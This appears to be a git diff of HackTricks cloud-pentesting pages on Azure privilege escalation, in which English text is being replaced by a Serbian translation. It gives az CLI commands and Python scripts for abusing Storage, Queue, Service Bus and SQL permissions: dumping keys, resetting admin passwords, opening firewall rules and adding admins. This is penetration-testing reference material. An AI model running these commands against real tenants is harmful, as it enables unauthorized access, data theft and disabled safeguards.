This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
Ova dozvola omogućava napadaču da kreira ili menja redove i njihove osobine unutar skladišnog naloga. Može se koristiti za kreiranje neovlašćenih redova, modifikovanje metapodataka ili promenu lista kontrole pristupa (ACL) kako bi se omogućio ili ograničio pristup. Ova sposobnost može ometati radne tokove, ubrizgati zlonamerne podatke, eksfiltrirati osetljive informacije ili manipulisati podešavanjima reda kako bi se omogućili dalji napadi.
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
@@ -63,7 +54,6 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
@@ -71,7 +61,3 @@ az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,16 +4,15 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-servicebus-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Send Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
You can retrieve the `PrimaryConnectionString`, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow.
|
||||
### Slanje poruka. Akcija: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` ILI `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
Možete preuzeti `PrimaryConnectionString`, koji deluje kao akreditiv za Service Bus namespace. Sa ovom konekcijom, možete se potpuno autentifikovati kao Service Bus namespace, omogućavajući vam da šaljete poruke bilo kojoj redu ili temi i potencijalno interagujete sa sistemom na načine koji bi mogli ometati operacije, predstavljati validne korisnike ili ubrizgati zlonamerne podatke u tok poruka.
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -30,51 +29,51 @@ TOPIC_NAME = "<TOPIC_NAME>"
|
||||
|
||||
# Function to send a single message to a Service Bus topic
|
||||
async def send_individual_message(publisher):
|
||||
# Prepare a single message with updated content
|
||||
single_message = ServiceBusMessage("Hacktricks-Training: Single Item")
|
||||
# Send the message to the topic
|
||||
await publisher.send_messages(single_message)
|
||||
print("Sent a single message containing 'Hacktricks-Training'")
|
||||
# Prepare a single message with updated content
|
||||
single_message = ServiceBusMessage("Hacktricks-Training: Single Item")
|
||||
# Send the message to the topic
|
||||
await publisher.send_messages(single_message)
|
||||
print("Sent a single message containing 'Hacktricks-Training'")
|
||||
|
||||
# Function to send multiple messages to a Service Bus topic
|
||||
async def send_multiple_messages(publisher):
|
||||
# Generate a collection of messages with updated content
|
||||
message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)]
|
||||
# Send the entire collection of messages to the topic
|
||||
await publisher.send_messages(message_list)
|
||||
print("Sent a list of 5 messages containing 'Hacktricks-Training'")
|
||||
# Generate a collection of messages with updated content
|
||||
message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)]
|
||||
# Send the entire collection of messages to the topic
|
||||
await publisher.send_messages(message_list)
|
||||
print("Sent a list of 5 messages containing 'Hacktricks-Training'")
|
||||
|
||||
# Function to send a grouped batch of messages to a Service Bus topic
|
||||
async def send_grouped_messages(publisher):
|
||||
# Send a grouped batch of messages with updated content
|
||||
async with publisher:
|
||||
grouped_message_batch = await publisher.create_message_batch()
|
||||
for i in range(10):
|
||||
try:
|
||||
# Append a message to the batch with updated content
|
||||
grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}"))
|
||||
except ValueError:
|
||||
# If batch reaches its size limit, handle by creating another batch
|
||||
break
|
||||
# Dispatch the batch of messages to the topic
|
||||
await publisher.send_messages(grouped_message_batch)
|
||||
print("Sent a batch of 10 messages containing 'Hacktricks-Training'")
|
||||
# Send a grouped batch of messages with updated content
|
||||
async with publisher:
|
||||
grouped_message_batch = await publisher.create_message_batch()
|
||||
for i in range(10):
|
||||
try:
|
||||
# Append a message to the batch with updated content
|
||||
grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}"))
|
||||
except ValueError:
|
||||
# If batch reaches its size limit, handle by creating another batch
|
||||
break
|
||||
# Dispatch the batch of messages to the topic
|
||||
await publisher.send_messages(grouped_message_batch)
|
||||
print("Sent a batch of 10 messages containing 'Hacktricks-Training'")
|
||||
|
||||
# Main function to execute all tasks
|
||||
async def execute():
|
||||
# Instantiate the Service Bus client with the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as sb_client:
|
||||
# Create a topic sender for dispatching messages to the topic
|
||||
publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME)
|
||||
async with publisher:
|
||||
# Send a single message
|
||||
await send_individual_message(publisher)
|
||||
# Send multiple messages
|
||||
await send_multiple_messages(publisher)
|
||||
# Send a batch of messages
|
||||
await send_grouped_messages(publisher)
|
||||
# Instantiate the Service Bus client with the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as sb_client:
|
||||
# Create a topic sender for dispatching messages to the topic
|
||||
publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME)
|
||||
async with publisher:
|
||||
# Send a single message
|
||||
await send_individual_message(publisher)
|
||||
# Send multiple messages
|
||||
await send_multiple_messages(publisher)
|
||||
# Send a batch of messages
|
||||
await send_grouped_messages(publisher)
|
||||
|
||||
# Run the asynchronous execution
|
||||
asyncio.run(execute())
|
||||
@@ -82,11 +81,9 @@ print("Messages Sent")
|
||||
print("----------------------------")
|
||||
|
||||
```
|
||||
### Prijem poruka. Akcija: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` ILI `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
### Recieve Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows.
|
||||
|
||||
Možete preuzeti PrimaryConnectionString, koji služi kao akreditiv za Service Bus namespace. Koristeći ovaj konekcioni string, možete primati poruke iz bilo koje queue ili subscription unutar namespace-a, omogućavajući pristup potencijalno osetljivim ili kritičnim podacima, omogućavajući exfiltraciju podataka ili ometajući obradu poruka i radne tokove aplikacija.
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -102,48 +99,45 @@ SUBSCRIPTION_NAME = "<TOPIC_SUBSCRIPTION_NAME>" #Topic Subscription
|
||||
|
||||
# Function to receive and process messages from a Service Bus subscription
|
||||
async def receive_and_process_messages():
|
||||
# Create a Service Bus client using the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as servicebus_client:
|
||||
# Create a Service Bus client using the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as servicebus_client:
|
||||
|
||||
# Get the Subscription Receiver object for the specified topic and subscription
|
||||
receiver = servicebus_client.get_subscription_receiver(
|
||||
topic_name=TOPIC_NAME,
|
||||
subscription_name=SUBSCRIPTION_NAME,
|
||||
max_wait_time=5
|
||||
)
|
||||
# Get the Subscription Receiver object for the specified topic and subscription
|
||||
receiver = servicebus_client.get_subscription_receiver(
|
||||
topic_name=TOPIC_NAME,
|
||||
subscription_name=SUBSCRIPTION_NAME,
|
||||
max_wait_time=5
|
||||
)
|
||||
|
||||
async with receiver:
|
||||
# Receive messages with a defined maximum wait time and count
|
||||
received_msgs = await receiver.receive_messages(
|
||||
max_wait_time=5,
|
||||
max_message_count=20
|
||||
)
|
||||
for msg in received_msgs:
|
||||
print("Received: " + str(msg))
|
||||
# Complete the message to remove it from the subscription
|
||||
await receiver.complete_message(msg)
|
||||
async with receiver:
|
||||
# Receive messages with a defined maximum wait time and count
|
||||
received_msgs = await receiver.receive_messages(
|
||||
max_wait_time=5,
|
||||
max_message_count=20
|
||||
)
|
||||
for msg in received_msgs:
|
||||
print("Received: " + str(msg))
|
||||
# Complete the message to remove it from the subscription
|
||||
await receiver.complete_message(msg)
|
||||
|
||||
# Run the asynchronous message processing function
|
||||
asyncio.run(receive_and_process_messages())
|
||||
print("Message Receiving Completed")
|
||||
print("----------------------------")
|
||||
```
|
||||
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
If you have these permissions, you can escalate privileges by reading or creating shared access keys. These keys allow full control over the Service Bus namespace, including managing queues, topics, and sending/receiving messages, potentially bypassing role-based access controls (RBAC).
|
||||
|
||||
Ako imate ove dozvole, možete eskalirati privilegije čitanjem ili kreiranjem zajedničkih pristupnih ključeva. Ovi ključevi omogućavaju potpunu kontrolu nad Service Bus imenom prostora, uključujući upravljanje redovima, temama i slanje/primanje poruka, potencijalno zaobilazeći kontrole pristupa zasnovane na rolama (RBAC).
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
@@ -152,7 +146,3 @@ az servicebus namespace authorization-rule update \
|
||||
- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SQL Database Privesc
|
||||
|
||||
For more information about SQL Database check:
|
||||
Za više informacija o SQL bazi podataka pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
@@ -12,104 +12,88 @@ For more information about SQL Database check:
|
||||
|
||||
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
|
||||
|
||||
With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access.
|
||||
|
||||
Sa ovim dozvolama, korisnik može izvršiti eskalaciju privilegija ažuriranjem ili kreiranjem Azure SQL servera i modifikovanjem kritičnih konfiguracija, uključujući administratorske akreditive. Ova dozvola omogućava korisniku da ažurira svojstva servera, uključujući SQL server admin lozinku, omogućavajući neovlašćen pristup ili kontrolu nad serverom. Takođe mogu kreirati nove servere, potencijalno uvodeći senčanu infrastrukturu u zle svrhe. Ovo postaje posebno kritično u okruženjima gde je "Microsoft Entra Authentication Only" onemogućen, jer mogu iskoristiti SQL-baziranu autentifikaciju za sticanje neograničenog pristupa.
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--admin-password <new_password>
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--admin-password <new_password>
|
||||
|
||||
# Create a new server
|
||||
az sql server create \
|
||||
--name <new_server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--location <location> \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
--name <new_server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--location <location> \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
```
|
||||
|
||||
Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it:
|
||||
|
||||
Pored toga, neophodno je omogućiti javni pristup ako želite da pristupite sa neprivatnog krajnjeg tačke, da biste to omogućili:
|
||||
```bash
|
||||
az sql server update \
|
||||
--name <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--enable-public-network true
|
||||
--name <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--enable-public-network true
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/firewallRules/write"
|
||||
|
||||
An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources.
|
||||
|
||||
Napadač može manipulisati pravilima vatrozida na Azure SQL serverima kako bi omogućio neovlašćen pristup. Ovo se može iskoristiti za otvaranje servera za specifične IP adrese ili čitave IP opsege, uključujući javne IP adrese, omogućavajući pristup zlonamernim akterima. Ova post-eksploataciona aktivnost može se koristiti za zaobilaženje postojećih mrežnih bezbednosnih kontrola, uspostavljanje postojanosti ili olakšavanje lateralnog kretanja unutar okruženja izlaganjem osetljivih resursa.
|
||||
```bash
|
||||
# Create Firewall Rule
|
||||
az sql server firewall-rule create \
|
||||
--name <new-firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <start-ip-address> \
|
||||
--end-ip-address <end-ip-address>
|
||||
--name <new-firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <start-ip-address> \
|
||||
--end-ip-address <end-ip-address>
|
||||
|
||||
# Update Firewall Rule
|
||||
az sql server firewall-rule update \
|
||||
--name <firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
--name <firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
```
|
||||
|
||||
Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule.
|
||||
NOTE: It is necesary to have the public access enabled
|
||||
Dodatno, `Microsoft.Sql/servers/outboundFirewallRules/delete` dozvola vam omogućava da obrišete pravilo vatrozida.
|
||||
NAPOMENA: Potrebno je omogućiti javni pristup
|
||||
|
||||
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
|
||||
|
||||
With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access."
|
||||
|
||||
Sa ovom dozvolom, možete kreirati, modifikovati ili obrisati IPv6 pravila vatrozida na Azure SQL Serveru. Ovo bi moglo omogućiti napadaču ili ovlašćenom korisniku da zaobiđe postojeće mrežne bezbednosne konfiguracije i dobije neovlašćen pristup serveru. Dodavanjem pravila koje omogućava saobraćaj sa bilo koje IPv6 adrese, napadač bi mogao otvoriti server za spoljašnji pristup.
|
||||
```bash
|
||||
az sql server firewall-rule create \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <rule_name> \
|
||||
--start-ip-address <start_ipv6_address> \
|
||||
--end-ip-address <end_ipv6_address>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <rule_name> \
|
||||
--start-ip-address <start_ipv6_address> \
|
||||
--end-ip-address <end_ipv6_address>
|
||||
```
|
||||
|
||||
Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule.
|
||||
NOTE: It is necesary to have the public access enabled
|
||||
Dodatno, `Microsoft.Sql/servers/ipv6FirewallRules/delete` dozvola vam omogućava da obrišete pravilo vatrozida.
|
||||
NAPOMENA: Potrebno je omogućiti javni pristup
|
||||
|
||||
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
|
||||
|
||||
With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server:
|
||||
|
||||
Sa ovim dozvolama možete privesc u Azure SQL Server okruženju pristupajući SQL bazama podataka i preuzimajući kritične informacije. Koristeći komandu ispod, napadač ili ovlašćeni korisnik može postaviti sebe ili drugi nalog kao Azure AD administratora. Ako je "Microsoft Entra Authentication Only" omogućeno, možete pristupiti serveru i njegovim instancama. Evo komande za postavljanje Azure AD administratora za SQL server:
|
||||
```bash
|
||||
az sql server ad-admin create \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--display-name <admin_display_name> \
|
||||
--object-id <azure_subscribtion_id>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--display-name <admin_display_name> \
|
||||
--object-id <azure_subscribtion_id>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
|
||||
|
||||
With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication.
|
||||
|
||||
Sa ovim dozvolama, možete konfigurisati i primeniti "Samo Microsoft Entra autentifikaciju" na Azure SQL Serveru, što može olakšati eskalaciju privilegija u određenim scenarijima. Napadač ili ovlašćeni korisnik sa ovim dozvolama može omogućiti ili onemogućiti autentifikaciju samo za Azure AD.
|
||||
```bash
|
||||
#Enable
|
||||
az sql server azure-ad-only-auth enable \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
#Disable
|
||||
az sql server azure-ad-only-auth disable \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage Privesc
|
||||
|
||||
For more information about storage check:
|
||||
Za više informacija o skladištu pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
@@ -12,26 +12,21 @@ For more information about storage check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/listkeys/action
|
||||
|
||||
A principal with this permission will be able to list (and the secret values) of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
|
||||
|
||||
Principal sa ovom dozvolom će moći da prikaže (i tajne vrednosti) **pristupnih ključeva** skladišnih računa. Omogućavajući principalu da eskalira svoje privilegije nad skladišnim računima.
|
||||
```bash
|
||||
az storage account keys list --account-name <acc-name>
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/regenerateKey/action
|
||||
|
||||
A principal with this permission will be able to renew and get the new secret value of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
|
||||
|
||||
Moreover, in the response, the user will get the value of the renewed key and also of the not renewed one:
|
||||
Osoba sa ovom dozvolom će moći da obnovi i dobije novu tajnu vrednost **access keys** skladišnih naloga. Omogućavajući osobi da eskalira svoje privilegije nad skladišnim nalozima.
|
||||
|
||||
Pored toga, u odgovoru, korisnik će dobiti vrednost obnovljenog ključa, kao i vrednost neobnovljenog:
|
||||
```bash
|
||||
az storage account keys renew --account-name <acc-name> --key key2
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/write
|
||||
|
||||
A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies.
|
||||
|
||||
Princip sa ovom dozvolom će moći da kreira ili ažurira postojeći nalog za skladištenje, ažurirajući bilo koju postavku kao što su pravila mreže ili politike.
|
||||
```bash
|
||||
# e.g. set default action to allow so network restrictions are avoided
|
||||
az storage account update --name <acc-name> --default-action Allow
|
||||
@@ -39,118 +34,101 @@ az storage account update --name <acc-name> --default-action Allow
|
||||
# e.g. allow an IP address
|
||||
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
|
||||
```
|
||||
|
||||
## Blobs Specific privesc
|
||||
## Blobs Specifične privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
|
||||
|
||||
The first permission allows to **modify immutability policies** in containers and the second to delete them.
|
||||
Prvo dopuštenje omogućava **modifikaciju politika nepromenljivosti** u kontejnerima, a drugo da ih obrišete.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if an immutability policy is in lock state, you cannot do neither of both
|
||||
|
||||
> Imajte na umu da ako je politika nepromenljivosti u stanju zaključavanja, ne možete uraditi nijedno od ta dva.
|
||||
```bash
|
||||
az storage container immutability-policy delete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP>
|
||||
|
||||
az storage container immutability-policy update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--period <NEW_RETENTION_PERIOD_IN_DAYS>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--period <NEW_RETENTION_PERIOD_IN_DAYS>
|
||||
```
|
||||
|
||||
## File shares specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
|
||||
|
||||
This should allow a user having this permission to be able to take the ownership of files inside the shared filesystem.
|
||||
Ovo bi trebalo da omogući korisniku koji ima ovu dozvolu da preuzme vlasništvo nad datotekama unutar deljenog datotečnog sistema.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
|
||||
|
||||
This should allow a user having this permission to be able to modify the permissions files inside the shared filesystem.
|
||||
Ovo bi trebalo da omogući korisniku koji ima ovu dozvolu da može da menja dozvole datoteka unutar deljenog datotečnog sistema.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
|
||||
|
||||
This should allow a user having this permission to be able to perform actions inside a file system as a superuser.
|
||||
Ovo bi trebalo da omogući korisniku koji ima ovu dozvolu da može da izvršava radnje unutar datotečnog sistema kao superkorisnik.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
|
||||
|
||||
With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data.
|
||||
|
||||
Sa ovom dozvolom, napadač može da kreira i ažurira (ako ima `Microsoft.Storage/storageAccounts/localusers/read` dozvolu) novog lokalnog korisnika za Azure Storage nalog (konfigurisano sa hijerarhijskim imenskim prostorom), uključujući određivanje dozvola korisnika i početnog direktorijuma. Ova dozvola je značajna jer omogućava napadaču da sebi dodeli pristup storage nalogu sa specifičnim dozvolama kao što su čitanje (r), pisanje (w), brisanje (d) i listanje (l) i još mnogo toga. Dodatno, metode autentifikacije koje se koriste mogu biti Azure-generisane lozinke i SSH parovi ključeva. Nema provere da li korisnik već postoji, tako da možete prepisati druge korisnike koji su već prisutni. Napadač bi mogao da eskalira svoje privilegije i dobije SSH pristup storage nalogu, potencijalno izlažući ili kompromitujući osetljive podatke.
|
||||
```bash
|
||||
az storage account local-user create \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME> \
|
||||
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
|
||||
--home-directory <HOME_DIRECTORY> \
|
||||
--has-ssh-key false/true # Depends on the auth method to use
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME> \
|
||||
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
|
||||
--home-directory <HOME_DIRECTORY> \
|
||||
--has-ssh-key false/true # Depends on the auth method to use
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
|
||||
|
||||
With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content.
|
||||
|
||||
Sa ovom dozvolom, napadač može regenerisati lozinku za lokalnog korisnika u Azure Storage nalogu. Ovo omogućava napadaču da dobije nove autentifikacione kredencijale (kao što su SSH ili SFTP lozinka) za korisnika. Korišćenjem ovih kredencijala, napadač bi mogao dobiti neovlašćen pristup storage nalogu, izvršiti transfer fajlova ili manipulisati podacima unutar storage kontejnera. Ovo bi moglo rezultirati curenjem podataka, oštećenjem ili zlonamernom izmenom sadržaja storage naloga.
|
||||
```bash
|
||||
az storage account local-user regenerate-password \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME>
|
||||
```
|
||||
|
||||
To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect):
|
||||
|
||||
Da biste pristupili Azure Blob Storage putem SFTP koristeći lokalnog korisnika putem SFTP-a, možete (takođe možete koristiti ssh ključ za povezivanje):
|
||||
```bash
|
||||
sftp <local-user-name>@<storage-account-name>.blob.core.windows.net
|
||||
#regenerated-password
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
|
||||
|
||||
With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
|
||||
|
||||
Sa ovim dozvolama, napadač može da vrati obrisani kontejner tako što će navesti njegov ID obrisane verzije ili da ponovo aktivira određene blobove unutar kontejnera, ako su prethodno bili soft-deleted. Ova eskalacija privilegija može omogućiti napadaču da povrati osetljive podatke koji su trebali biti trajno obrisani, što može dovesti do neovlašćenog pristupa.
|
||||
```bash
|
||||
#Restore the soft deleted container
|
||||
az storage container restore \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--name <CONTAINER_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--name <CONTAINER_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
|
||||
#Restore the soft deleted blob
|
||||
az storage blob undelete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--name "fileName.txt"
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--name "fileName.txt"
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
|
||||
|
||||
